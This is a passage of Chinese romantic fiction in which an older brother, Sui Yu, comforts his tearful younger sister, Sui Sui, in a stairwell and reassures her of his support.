隋遂感觉到她的脸,她的脸被隋逾的手指握在掌中,他的手掌温厚,大拇指摩挲过她的脸颊,将她的眼泪轻轻抹去。他的动作不重,但还是在她的脸上留下了红痕,月牙形状,像一块与生俱来的胎记。 “小随。”他说,“你听我说,我从来没有需要你一定要做什么,你可以有喜欢的事情,我希望你能生活的更好一些。你明白吗?” “可是我不要!”她大声说完,空旷的楼道全都是她的声音,回弹到她的耳朵中,让她一瞬间被自己激烈的情绪吓到,“我不要……” 隋遂眼睛被眼泪挡住了,她努力睁大眼睛,“我觉得现在都生活就很好。” 像隋遂这样的小孩,从小就不相信真正无私的爱,从来都不认为自己能得到真正的爱,携带着伤害的爱虽然让她痛,但也让她感到安全。 隋家现在的一切都让她感到压力和窒息,她不想要了。 “好吧。” 隋逾眸光深深,他低声,像安抚,有重量,但不会让她感到压力。 “好吧。”他重复。 用大拇指抹掉她留下的泪,“那就这样吧。” 真正这个时候,隋遂又为此感到不好意思,喃喃:“对不起。” 隋逾拍拍她的头,弯腰,和她平视,四目相对,有一些很陌生的东西在这种对视中产生。两个人都有些想要避开,但都忍住了。 “无论什么时候,你都要知道,你是我的妹妹,我会包容你,也会帮你解决你的问题。只要你告诉我,只要你相信我。”如果是平时,他说到这里就结束了,但今天隋遂的行为让他有些犹豫,所以他顿了一下,才问,“好吗?” 隋遂觉得羞愧难当,为此刻的自己,也为刚刚的行为。 果然是在无理取闹,隋逾有什么理由容忍她的这些情绪呢?或许他本就习惯了所有人都按照他的安排行动,他又凭什么为了她而放低身段?只因为她是亲人? 他说完,帮隋逾打开了房门,“洗个澡,早点休息。” 隋遂又回头看,只关了半扇的门从楼道的光里看到隋逾的半张脸,有些说不出的温柔,她的心骤然一动,像是被一只柔软的小动物轻轻推动。